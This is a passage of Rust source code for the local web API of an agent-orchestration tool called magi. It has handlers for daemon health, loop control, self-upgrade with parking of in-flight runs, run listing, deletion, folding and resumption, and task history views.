1826 idle: Some(status.idle),
1827 pid: status.pid,
1828 current: status.current,
1829 completed: Some(status.completed),
1830 stale_for_secs: age,
1831 }
1832 }
1833}
1834
1835async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1836 blocking(move || {
1837 let reading = daemon::read_status(&ui.home);
1841 let loop_rev = ui.lock_loop().rev;
1845 let update = cached_update_view(&ui.repo);
1846 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1847 Ok(Json(HealthView {
1848 version: env!("CARGO_PKG_VERSION"),
1849 home: ui.home.display().to_string(),
1850 queue_rev: ui.queue.revision(),
1851 runs_rev: runs_revision(&ui.runs),
1852 questions_rev: ui.questions.revision(),
1853 talks_rev: ui.talks.revision(),
1854 notifications_rev: ui.notices.revision(),
1855 notifications_unread: ui.notices.count_unread(),
1856 loop_rev,
1857 runs_unreadable: runs_unreadable(&ui.runs),
1858 questions_open: ui.questions.count_open(),
1859 questions_needs_owner: ui.questions.count_needs_owner(),
1860 daemon: DaemonView::of(reading.clone()),
1861 looping: ui.loop_view(reading),
1862 disk: DiskView::of(&ui),
1863 update,
1864 upgrade,
1865 }))
1866 })
1867 .await
1868}
1869
1870#[derive(Debug, Serialize)]
1872struct LoopView {
1873 running: bool,
1875 stopping: bool,
1883 parking: bool,
1891 owned: bool,
1899 repo: String,
1902 merge: Option<String>,
1905 last_error: Option<String>,
1913 daemon: DaemonView,
1916}
1917
1918#[derive(Debug, Clone, Copy)]
1927struct Foreign {
1928 pid: Option<u32>,
1930}
1931
1932impl Foreign {
1933 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1936 let reading = reading?;
1937 if !reading.running(Timestamp::now()) {
1938 return None;
1939 }
1940 match reading.pid {
1941 Some(pid) if pid == std::process::id() => None,
1942 pid => Some(Self { pid }),
1946 }
1947 }
1948
1949 fn who(&self) -> String {
1952 match self.pid {
1953 Some(pid) => format!("another magi process (pid {pid})"),
1954 None => "another magi process".to_owned(),
1955 }
1956 }
1957}
1958
1959type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1964
1965fn launch_daemon(
1967 opts: daemon::Opts,
1968 stop: daemon::Stop,
1969) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1970 Box::pin(daemon::serve_until(opts, stop))
1971}
1972
1973#[derive(Debug, Default)]
1975struct LoopState {
1976 live: Option<Live>,
1978 rev: u64,
1986 last_error: Option<String>,
1989 resume_after_handover: bool,
1994}
1995
1996#[derive(Debug)]
1998struct Live {
1999 stop: daemon::Stop,
2001 handle: tokio::task::JoinHandle<()>,
2006 opts: daemon::Opts,
2010}
2011
2012impl Live {
2013 fn alive(&self) -> bool {
2015 !self.handle.is_finished()
2016 }
2017}
2018
2019fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2026 state.lock().unwrap_or_else(PoisonError::into_inner)
2027}
2028
2029async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2031 blocking(move || {
2032 let reading = daemon::read_status(&ui.home);
2033 Ok(Json(ui.loop_view(reading)))
2034 })
2035 .await
2036}
2037
2038#[derive(Debug, Deserialize)]
2044#[serde(deny_unknown_fields)]
2045struct LoopCommand {
2046 running: bool,
2047 #[serde(default)]
2057 park: bool,
2058}
2059
2060async fn loop_post(
2068 State(ui): State<Arc<Ui>>,
2069 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2070) -> ApiResult<Json<LoopView>> {
2071 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2074 blocking(move || {
2075 let reading = daemon::read_status(&ui.home);
2076 let foreign = Foreign::of(reading.as_ref());
2077 if body.running {
2078 ui.start_loop(foreign)?;
2079 } else {
2080 ui.stop_loop(foreign, body.park)?;
2081 }
2082 Ok(Json(ui.loop_view(reading)))
2083 })
2084 .await
2085}
2086
2087#[derive(Debug, Serialize)]
2089struct UpgradeView {
2090 from: String,
2092 to: Option<String>,
2094 parked: Option<String>,
2096 detail: String,
2098}
2099
2100async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2124 let reading = daemon::read_status(&ui.home);
2125 if let Some(other) = Foreign::of(reading.as_ref()) {
2126 return Err(ApiError::conflict(format!(
2127 "the loop belongs to {}, so replacing this binary would leave \
2128 that process running an old one against the same queue. Upgrade \
2129 where it was started.",
2130 other.who()
2131 )));
2132 }
2133
2134 if crate::updater::disabled_by_env() {
2140 return Ok((
2141 StatusCode::OK,
2142 Json(UpgradeView {
2143 from: env!("CARGO_PKG_VERSION").to_owned(),
2144 to: None,
2145 parked: None,
2146 detail: format!(
2147 "Automatic updates are disabled by {}. Nothing was parked \
2148 and nothing restarted.",
2149 crate::updater::NO_AUTOUPDATE_ENV
2150 ),
2151 }),
2152 ));
2153 }
2154
2155 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2160 let from = env!("CARGO_PKG_VERSION").to_owned();
2161 let latest = match crate::updater::Checker::new(&cfg.update) {
2162 Some(checker) => checker
2163 .newer_release()
2164 .await
2165 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2166 None => None,
2167 };
2168 let Some(latest) = latest else {
2169 return Ok((
2170 StatusCode::OK,
2171 Json(UpgradeView {
2172 from,
2173 to: None,
2174 parked: None,
2175 detail: "Already on the newest release. Nothing was parked \
2176 and nothing restarted."
2177 .to_owned(),
2178 }),
2179 ));
2180 };
2181
2182 let parked = ui.park_for_upgrade()?;
2185 let detail = match &parked {
2186 Some(run) => format!(
2191 "Run {} is parking at its next step, which can take as long as \
2192 the step it is on - up to an hour for an implement wave. The \
2193 deck replaces itself once it parks, comes back, and the loop \
2194 carries that run on from where it stopped. Nothing is lost if \
2195 you close this.",
2196 crate::run::short_of(run)
2197 ),
2198 None => "The deck replaces itself and comes back. Nothing was in \
2199 flight to park."
2200 .to_owned(),
2201 };
2202
2203 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2207 progress.parked_run = parked.clone();
2208 let _ = updater::write_progress(&ui.home, &progress);
2209
2210 let home = ui.home.clone();
2211 let looping = ui.looping();
2212 tokio::spawn(async move {
2213 if let Err(e) = upgrade_and_restart(home.clone()).await {
2214 tracing::error!("the upgrade did not complete: {e:#}");
2215 lock_or_recover(&looping).resume_after_handover = false;
2216 if let Some(mut progress) = updater::read_progress(&home) {
2217 progress.fail(format!("{e:#}"));
2218 let _ = updater::write_progress(&home, &progress);
2219 }
2220 }
2221 });
2222
2223 Ok((
2224 StatusCode::ACCEPTED,
2225 Json(UpgradeView {
2226 from,
2227 to: Some(latest.tag_name),
2228 parked,
2229 detail,
2230 }),
2231 ))
2232}
2233
2234async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2239 crate::updater::run_self_update(true, false, true).await?;
2242 tracing::info!("binary replaced - asking the server to hand over");
2243 if let Some(mut progress) = updater::read_progress(&home) {
2244 progress.advance(updater::Stage::Replaced);
2245 let _ = updater::write_progress(&home, &progress);
2246 }
2247 HANDOVER.notify_one();
2248 Ok(())
2249}
2250
2251#[derive(Debug, Serialize)]
2257struct RunSummary {
2258 id: String,
2259 short: String,
2260 status: String,
2261 done: bool,
2262 instruction: String,
2263 title: String,
2264 repo: String,
2265 repo_name: String,
2266 created_at: String,
2267 updated_at: String,
2268 candidates: usize,
2269 viable: usize,
2270 judges: usize,
2271 winner: Option<char>,
2272 reviews: usize,
2273 quota_losses: usize,
2274 event: Option<String>,
2275 superseded_by: Option<String>,
2280 waiting: bool,
2287 live: crate::run::Liveness,
2291 pr: Option<crate::run::PrRecord>,
2293 unmerged_by_design: bool,
2299}
2300
2301impl RunSummary {
2302 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2303 Self {
2304 id: state.id.clone(),
2305 short: state.short().to_owned(),
2306 status: status_word(state.status),
2307 done: state.status.done(),
2308 unmerged_by_design: state.unmerged_by_design(),
2309 instruction: state.instruction.clone(),
2310 title: title_from(&state.instruction, TITLE_MAX),
2311 repo: state.repo.display().to_string(),
2312 repo_name: state
2313 .repo
2314 .file_name()
2315 .map(|n| n.to_string_lossy().into_owned())
2316 .unwrap_or_default(),
2317 created_at: state.created_at.to_string(),
2318 updated_at: state.updated_at.to_string(),
2319 candidates: state.candidates.len(),
2320 viable: state.viable().len(),
2321 judges: state.config.graph.judges,
2322 winner: state.winner().map(|c| c.label),
2323 reviews: state.reviews.len(),
2324 quota_losses: state.quota.len(),
2325 event: state.events.last().map(|e| e.message.clone()),
2326 waiting,
2327 live,
2328 superseded_by: None,
2331 pr: state.pr.clone(),
2332 }
2333 }
2334}
2335
2336fn status_word(status: RunStatus) -> String {
2339 status.as_str().to_owned()
2343}
2344
2345#[derive(Debug, Deserialize)]
2347struct ListQuery {
2348 #[serde(default)]
2349 limit: Option<usize>,
2350}
2351
2352async fn runs_list(
2353 State(ui): State<Arc<Ui>>,
2354 Query(q): Query<ListQuery>,
2355) -> ApiResult<Json<Vec<RunSummary>>> {
2356 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2357 blocking(move || {
2358 let superseded = ui.queue.superseded();
2359 let open_runs: HashSet<String> = ui
2363 .questions
2364 .list()
2365 .into_iter()
2366 .filter(|q| q.status.open())
2367 .map(|q| q.run)
2368 .collect();
2369 let claimed: HashSet<String> =
2370 crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2371 .into_iter()
2372 .map(|c| c.run)
2373 .collect();
2374 let states = run_ids(&ui.runs)
2375 .into_iter()
2376 .filter_map(|id| read_run(&ui.runs, &id).ok())
2381 .take(limit);
2382 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2383 let summaries = summarize(
2384 states,
2385 &open_runs,
2386 &claimed,
2387 &superseded,
2388 |p| probe.borrow_mut().status(p),
2389 |p| probe.borrow_mut().started_at(p),
2390 );
2391 Ok(Json(summaries))
2392 })
2393 .await
2394}
2395
2396fn summarize<I, S, D>(
2402 states: I,
2403 open_runs: &HashSet<String>,
2404 claimed: &HashSet<String>,
2405 superseded: &HashMap<String, String>,
2406 mut status_q: S,
2407 mut identity_q: D,
2408) -> Vec<RunSummary>
2409where
2410 I: IntoIterator<Item = RunState>,
2411 S: FnMut(u32) -> Option<bool>,
2412 D: FnMut(u32) -> Option<String>,
2413{
2414 states
2415 .into_iter()
2416 .map(|state| {
2417 let waiting = open_runs.contains(&state.id);
2418 let live =
2419 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2420 let mut row = RunSummary::of(&state, waiting, live);
2421 row.superseded_by = superseded
2422 .get(&state.id)
2423 .map(String::as_str)
2424 .map(crate::run::short_of)
2425 .map(str::to_owned);
2426 row
2427 })
2428 .collect()
2429}
2430
2431#[derive(Debug, Serialize)]
2438struct RunDetailView {
2439 #[serde(flatten)]
2440 state: RunState,
2441 instruction_md: Vec<md::Node>,
2442 live: crate::run::Liveness,
2457 unmerged_by_design: bool,
2462 superseded_by: Option<String>,
2470 latest_attempt: Option<LatestAttempt>,
2484 task: Option<TaskRef>,
2487}
2488
2489#[derive(Debug, Serialize)]
2491struct TaskRef {
2492 id: String,
2493 short: String,
2494 title: String,
2495}
2496
2497#[derive(Debug, Serialize)]
2499struct LatestAttempt {
2500 id: String,
2501 short: String,
2502 resolved: bool,
2513}
2514
2515impl RunDetailView {
2516 fn of(
2517 state: RunState,
2518 live: crate::run::Liveness,
2519 superseded_by: Option<String>,
2520 latest_attempt: Option<LatestAttempt>,
2521 task: Option<TaskRef>,
2522 ) -> Self {
2523 Self {
2524 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2525 live,
2526 unmerged_by_design: state.unmerged_by_design(),
2527 superseded_by,
2528 latest_attempt,
2529 task,
2530 state,
2531 }
2532 }
2533}
2534
2535async fn run_detail(
2536 State(ui): State<Arc<Ui>>,
2537 Path(id): Path<String>,
2538) -> ApiResult<Json<RunDetailView>> {
2539 blocking(move || {
2540 let id = resolve_run(&ui.runs, &id)?;
2541 let state = read_run(&ui.runs, &id)?;
2542 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2543 let live = state.liveness(daemon_claims);
2544 let superseded_by = ui
2545 .queue
2546 .superseded_by(&id)
2547 .as_deref()
2548 .map(crate::run::short_of)
2549 .map(str::to_owned);
2550 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2554 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2555 short: head.short().to_owned(),
2556 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2557 id: head.id,
2558 })
2559 });
2560 let task = ui
2561 .queue
2562 .list()
2563 .into_iter()
2564 .find(|t| t.runs.contains(&id))
2565 .map(|t| TaskRef {
2566 short: t.short().to_owned(),
2567 title: t.title.clone(),
2568 id: t.id,
2569 });
2570 Ok(Json(RunDetailView::of(
2571 state,
2572 live,
2573 superseded_by,
2574 latest_attempt,
2575 task,
2576 )))
2577 })
2578 .await
2579}
2580
2581async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2590 let (id, unreadable) = {
2591 let ui = Arc::clone(&ui);
2592 blocking(move || {
2593 let id = resolve_run(&ui.runs, &id)?;
2594 match read_run(&ui.runs, &id) {
2595 Ok(state) => {
2596 let in_flight =
2597 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2598 state
2599 .ensure_can_delete(in_flight)
2600 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2601 let dir = ui.runs.join(&id);
2602 std::fs::remove_dir_all(&dir)
2603 .with_context(|| format!("remove run directory {}", dir.display()))?;
2604 Ok((id, false))
2605 }
2606 Err(_) => {
2607 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2611 return Err(ApiError::conflict(format!(
2612 "run {id} is being worked on by a live daemon right now"
2613 )));
2614 }
2615 Ok((id, true))
2616 }
2617 }
2618 })
2619 .await?
2620 };
2621 if unreadable {
2622 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2623 .await
2624 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2625 }
2626 let ui = Arc::clone(&ui);
2627 let done = id.clone();
2628 blocking(move || {
2629 ui.questions.abandon_for_run(
2632 &done,
2633 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2634 )?;
2635 Ok(())
2636 })
2637 .await?;
2638 Ok(StatusCode::NO_CONTENT)
2639}
2640
2641async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2665 let (id, state) = {
2666 let ui = Arc::clone(&ui);
2667 blocking(move || {
2668 let id = resolve_run(&ui.runs, &id)?;
2669 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2670 return Err(ApiError::conflict(format!(
2671 "run {id} is being worked on by a live daemon right now"
2672 )));
2673 }
2674 let state = read_run(&ui.runs, &id).ok();
2675 Ok((id, state))
2676 })
2677 .await?
2678 };
2679 let removed = match state {
2680 Some(mut state) => {
2681 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2682 .await
2683 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2684 if removed.is_empty() {
2689 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2690 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2691 }
2692 removed
2693 }
2694 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2695 .await
2696 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2697 };
2698 Ok(Json(FoldView {
2699 run: id,
2700 removed_count: removed.len(),
2701 removed,
2702 }))
2703}
2704
2705#[derive(Debug, Serialize)]
2707struct FoldView {
2708 run: String,
2709 removed: Vec<String>,
2711 removed_count: usize,
2712}
2713
2714#[derive(Debug, Deserialize)]
2717struct FoldMergedBody {
2718 #[serde(default)]
2719 pr_url: String,
2720}
2721
2722async fn run_fold_merged(
2742 State(ui): State<Arc<Ui>>,
2743 Path(id): Path<String>,
2744 Json(body): Json<FoldMergedBody>,
2745) -> ApiResult<Json<FoldMergedView>> {
2746 let pr_url = body.pr_url.trim().to_owned();
2747 if pr_url.is_empty() {
2748 return Err(ApiError::bad_request("pr_url is required"));
2749 }
2750 let (id, mut state) = {
2751 let ui = Arc::clone(&ui);
2752 blocking(move || {
2753 let id = resolve_run(&ui.runs, &id)?;
2754 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2755 return Err(ApiError::conflict(format!(
2756 "run {id} is being worked on by a live daemon right now"
2757 )));
2758 }
2759 let state = read_run(&ui.runs, &id)?;
2760 Ok((id, state))
2761 })
2762 .await?
2763 };
2764 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2765 .await
2766 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2767 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2768 .await
2769 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2770 Ok(Json(FoldMergedView {
2771 run: id,
2772 before: before.as_str().to_owned(),
2773 after: after.as_str().to_owned(),
2774 removed,
2775 }))
2776}
2777
2778#[derive(Debug, Serialize)]
2780struct FoldMergedView {
2781 run: String,
2782 before: String,
2784 after: String,
2786 removed: Vec<String>,
2788}
2789
2790async fn run_resume(
2810 State(ui): State<Arc<Ui>>,
2811 Path(id): Path<String>,
2812) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2813 let (id, state) = {
2814 let ui = Arc::clone(&ui);
2815 blocking(move || {
2816 let id = resolve_run(&ui.runs, &id)?;
2817 let state = read_run(&ui.runs, &id)?;
2818 Ok((id, state))
2819 })
2820 .await?
2821 };
2822 if let Some(to) = &state.released_to {
2823 return Err(ApiError::conflict(format!(
2824 "run {} can no longer be resumed: its worktree was released to run {}, which \
2825 took the branch over.",
2826 state.short(),
2827 crate::run::short_of(to)
2828 )));
2829 }
2830 if !state.status.resumable() {
2831 return Err(ApiError::conflict(format!(
2832 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2833 state.short(),
2834 status_word(state.status)
2835 )));
2836 }
2837 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2842 .into_iter()
2843 .next()
2844 {
2845 return Err(ApiError::conflict(format!(
2846 "the loop is running run {} right now; stop it first, or wait for \
2847 it to finish, before resuming a run by hand.",
2848 crate::run::short_of(&work.run)
2849 )));
2850 }
2851 let _resume = ui.begin_resume(&id)?;
2852
2853 let queued = RunSummary::of(
2856 &state,
2857 !ui.questions.open_for(&id).is_empty(),
2858 state.liveness(false),
2859 );
2860 let run = id.clone();
2861 tokio::spawn(async move {
2862 let _resume = _resume;
2863 match crate::graph::Runner::resume(&run) {
2864 Ok(mut runner) => {
2865 if let Err(e) = runner.execute().await {
2866 tracing::warn!("resume of run {run} stopped: {e:#}");
2867 }
2868 }
2869 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2872 }
2873 });
2874 Ok((StatusCode::ACCEPTED, Json(queued)))
2875}
2876
2877async fn run_report(
2878 State(ui): State<Arc<Ui>>,
2879 Path(id): Path<String>,
2880) -> ApiResult<impl IntoResponse> {
2881 let text = blocking(move || {
2882 let id = resolve_run(&ui.runs, &id)?;
2883 let state = read_run(&ui.runs, &id)?;
2887 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2888 let live = state.liveness(daemon_claims);
2889 Ok(format!(
2890 "{}{}",
2891 report::run(&state),
2892 report::active_seats(&state, live)
2893 ))
2894 })
2895 .await?;
2896 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2897}
2898
2899#[derive(Debug, Serialize)]
2905struct TaskView {
2906 #[serde(flatten)]
2907 task: Task,
2908 source_label: String,
2909 status_str: &'static str,
2910 instruction_md: Vec<md::Node>,
2914 waits_on: Vec<String>,
2918 stuck_roots: Vec<String>,
2921}
2922
2923impl From<Task> for TaskView {
2924 fn from(task: Task) -> Self {
2925 Self {
2926 source_label: task.source.label(),
2927 status_str: task.status.as_str(),
2928 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2929 waits_on: Vec::new(),
2930 stuck_roots: Vec::new(),
2931 task,
2932 }
2933 }
2934}
2935
2936impl TaskView {
2937 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2938 let waits_on = inv.waits_on(&task);
2939 let stuck_roots = inv
2940 .stuck_roots(&task)
2941 .iter()
2942 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2943 .collect();
2944 Self {
2945 waits_on,
2946 stuck_roots,
2947 ..Self::from(task)
2948 }
2949 }
2950}
2951
2952#[derive(Debug, Default, Deserialize)]
2955#[serde(default)]
2956struct ReposQuery {
2957 refresh: u8,
2958}
2959
2960async fn repos_list(
2967 State(ui): State<Arc<Ui>>,
2968 Query(q): Query<ReposQuery>,
2969) -> ApiResult<Json<Vec<repos::Repo>>> {
2970 let refresh = q.refresh != 0;
2971 blocking(move || {
2972 let (cfg, _) = Config::discover(&ui.repo, None)?;
2973 Ok(Json(ui.repos_cache.list(
2974 &cfg.repos.roots,
2975 Duration::from_secs(cfg.repos.scan_ttl),
2976 refresh,
2977 )))
2978 })
2979 .await
2980}
2981
2982async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2983 blocking(move || {
2984 let tasks = ui.queue.list();
2985 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2986 Ok(Json(
2987 tasks
2988 .into_iter()
2989 .map(|t| TaskView::with_inventory(t, &inv))
2990 .collect(),
2991 ))
2992 })
2993 .await
2994}
2995
2996#[derive(Debug, Serialize)]
2998struct TaskRunView {
2999 n: usize,
3001 id: String,
3002 short: String,
3003 kind: &'static str,
3005 status: Option<&'static str>,
3007 readable: bool,
3009 provisional: bool,
3011 description: String,
3013 outcome: String,
3015 created_at: Option<Timestamp>,
3016 pr: Option<String>,
3017}
3018
3019#[derive(Debug, Serialize)]
3021struct TaskDetailView {
3022 #[serde(flatten)]
3023 task: TaskView,
3024 max_attempts: usize,
3027 history: Vec<TaskRunView>,
3028 runs_unreadable: usize,
3030 attempts_note: &'static str,
3032}
3033
3034const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
3035and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
3036on an agent rate limit or was parked for an upgrade. A resumed run still counts as an attempt (it appears again \
3037in the list), so the runs listed can outnumber the attempts shown only after a release or a handed-back attempt.";
3038
3039fn review_branch_of(instruction: &str) -> Option<&str> {
3042 let rest = instruction.strip_prefix("Review the work already on branch `")?;
3043 rest.split('`').next().filter(|b| !b.is_empty())
3044}
3045
3046struct RunSlot<'a> {
3048 n: usize,
3050 resumed: bool,
3052 resumed_later: Option<usize>,
3054 prior: Option<(&'a str, RunStatus)>,
3056 last: bool,
3057}
3058
3059fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
3062 let RunSlot {
3063 n,
3064 resumed,
3065 resumed_later,
3066 prior,
3067 last,
3068 } = at;
3069 let short = run::short_of(id).to_owned();
3070 let Some(s) = state else {
3071 return TaskRunView {
3072 n,
3073 id: id.to_owned(),
3074 short,
3075 kind: "unknown",
3076 status: None,
3077 readable: false,
3078 provisional: false,
3079 description:
3080 "This run's record could not be read by this build (written by a different \
3081 magi, or removed), so what kind of attempt it was is unknown."
3082 .to_owned(),
3083 outcome: String::new(),
3084 created_at: None,
3085 pr: None,
3086 };
3087 };
3088 let branch = review_branch_of(&s.instruction);
3089 let kind = if resumed {
3090 "resume"
3091 } else if branch.is_some() {
3092 "review"
3093 } else if task.solo || s.candidates.len() == 1 {
3094 "solo"
3095 } else {
3096 "competition"
3097 };
3098 let mut description = match kind {
3099 "resume" => {
3100 format!("Resumed run {short}: the same run carried on instead of competing again.")
3101 }
3102 "review" => format!(
3103 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
3104 branch.unwrap_or_default()
3105 ),
3106 "solo" => "Solo run: one implementer straight into review.".to_owned(),
3107 _ => format!(
3108 "Competition: {} candidates judged blind.",
3109 s.candidates.len().max(1)
3110 ),
3111 };
3112 if !resumed && let Some((p, st)) = prior {
3113 description.push_str(&format!(
3114 " A retry: run {p} before it ended {}.",
3115 st.display_label()
3116 ));
3117 }
3118
3119 let status = s.status;
3120 let provisional = matches!(status, RunStatus::Stalled)
3121 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
3122 let head = if resumed_later.is_some() {
3123 String::new()
3124 } else {
3125 match status {
3126 RunStatus::Merged => "Merged.".to_owned(),
3127 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
3128 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
3129 RunStatus::Stalled => {
3130 "Stalled: the judging panel never reached a quorum, so there is no verdict."
3131 .to_owned()
3132 }
3133 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
3134 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
3135 RunStatus::VerifiedNoop => {
3136 "Verified no-op: the candidates found nothing to change.".to_owned()
3137 }
3138 other if other.done() => format!("Ended {}.", other.display_label()),
3139 other => format!("In progress ({}).", other.display_label()),
3140 }
3141 };
3142 let why = if let Some(k) = resumed_later {
3143 let cause = if s.quota.is_empty() {
3147 "the operator parked it for an upgrade"
3148 } else {
3149 "an agent hit its rate limit"
3150 };
3151 format!(
3152 " This pass stopped before the run finished ({cause}), so the attempt was handed back; pass #{k} resumed the same run, and the status shown is the run's current one."
3153 )
3154 } else if s.parked {
3155 " Parked by the operator at a node boundary; the attempt was handed back and the run resumes."
3156 .to_owned()
3157 } else if !status.done()
3158 || matches!(
3159 status,
3160 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded
3161 )
3162 {
3163 String::new()
3164 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
3165 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
3166 {
3167 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
3168 .to_owned()
3169 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
3170 " It left a pull request open, so the task was held for a person rather than retried."
3171 .to_owned()
3172 } else if matches!(status, RunStatus::VerifiedNoop) {
3173 " Held for a person to check the claim.".to_owned()
3174 } else if last {
3175 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
3176 } else {
3177 " It spent an attempt, and the task moved on to the next run.".to_owned()
3178 };
3179 TaskRunView {
3180 n,
3181 id: id.to_owned(),
3182 short,
3183 kind,
3184 status: Some(status.as_str()),
3185 readable: true,
3186 provisional,
3187 description,
3188 outcome: format!("{head}{why}"),
3189 created_at: Some(s.created_at),
3190 pr: s.pr.as_ref().map(|p| p.url.clone()),
3191 }
3192}
3193
3194async fn task_detail(
3195 State(ui): State<Arc<Ui>>,
3196 Path(id): Path<String>,
3197) -> ApiResult<Json<TaskDetailView>> {
3198 blocking(move || {
3199 let id = resolve_task(&ui.queue, &id)?;
3200 let task = ui
3201 .queue
3202 .get(&id)
3203 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
3204 let inv = crate::blockers::Inventory::new(ui.queue.list(), &ui.questions.list());
3205 let mut history = Vec::with_capacity(task.runs.len());
3206 let mut seen: Vec<&str> = Vec::new();
3207 let mut prior: Option<(&str, RunStatus)> = None;
3208 for (i, run_id) in task.runs.iter().enumerate() {
3209 let state = read_run(&ui.runs, run_id).ok();
3210 let resumed = seen.contains(&run_id.as_str());
3211 seen.push(run_id);
3212 let last = i + 1 == task.runs.len();
3213 history.push(task_run_view(
3214 run_id,
3215 state.as_ref(),
3216 RunSlot {
3217 n: i + 1,
3218 resumed,
3219 resumed_later: task.runs[i + 1..]
3220 .iter()
3221 .position(|r| r == run_id)
3222 .map(|off| i + off + 2),
3223 prior,
3224 last,
3225 },
3226 &task,
3227 ));
3228 if let Some(s) = &state {
3229 prior = Some((run::short_of(run_id), s.status));
3230 }
3231 }
3232 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
3233 Ok(Json(TaskDetailView {
3234 max_attempts: daemon::Opts::default().max_attempts,
3235 history,
3236 runs_unreadable,
3237 attempts_note: ATTEMPTS_NOTE,
3238 task: TaskView::with_inventory(task, &inv),
3239 }))
3240 })
3241 .await
3242}
3243
3244#[derive(Debug, Serialize)]
3248struct RateView {
3249 pct: f64,
3250 denominator: usize,
3251}
3252
3253impl RateView {
3254 fn of(numerator: usize, denominator: usize) -> Option<Self> {
3255 (denominator > 0).then(|| Self {
3256 pct: 100.0 * numerator as f64 / denominator as f64,
3257 denominator,
3258 })
3259 }
3260}
3261
3262#[derive(Debug, Serialize)]
3267struct StatsTotalsView {
3268 runs: usize,
3269 merged: usize,
3270 ready: usize,
3271 blocked: usize,
3272 failed: usize,
3273 stalled: usize,
3274 verified_noop: usize,
3275 superseded: usize,
3276 in_progress: usize,
3277 completion_rate: Option<RateView>,
3278 tallied: usize,
3279 split: usize,
3280 split_rate: Option<RateView>,
3281 deliberated: usize,
3282 minds_changed: usize,
3283 converged: usize,
3284 review_rounds: usize,
3285}
3286
3287impl From<&stats::Totals> for StatsTotalsView {
3288 fn from(t: &stats::Totals) -> Self {
3289 Self {
3290 runs: t.runs,
3291 merged: t.merged,
3292 ready: t.ready,
3293 blocked: t.blocked,
3294 failed: t.failed,
3295 stalled: t.stalled,
3296 verified_noop: t.verified_noop,
3297 superseded: t.superseded,
3298 in_progress: t.in_progress,
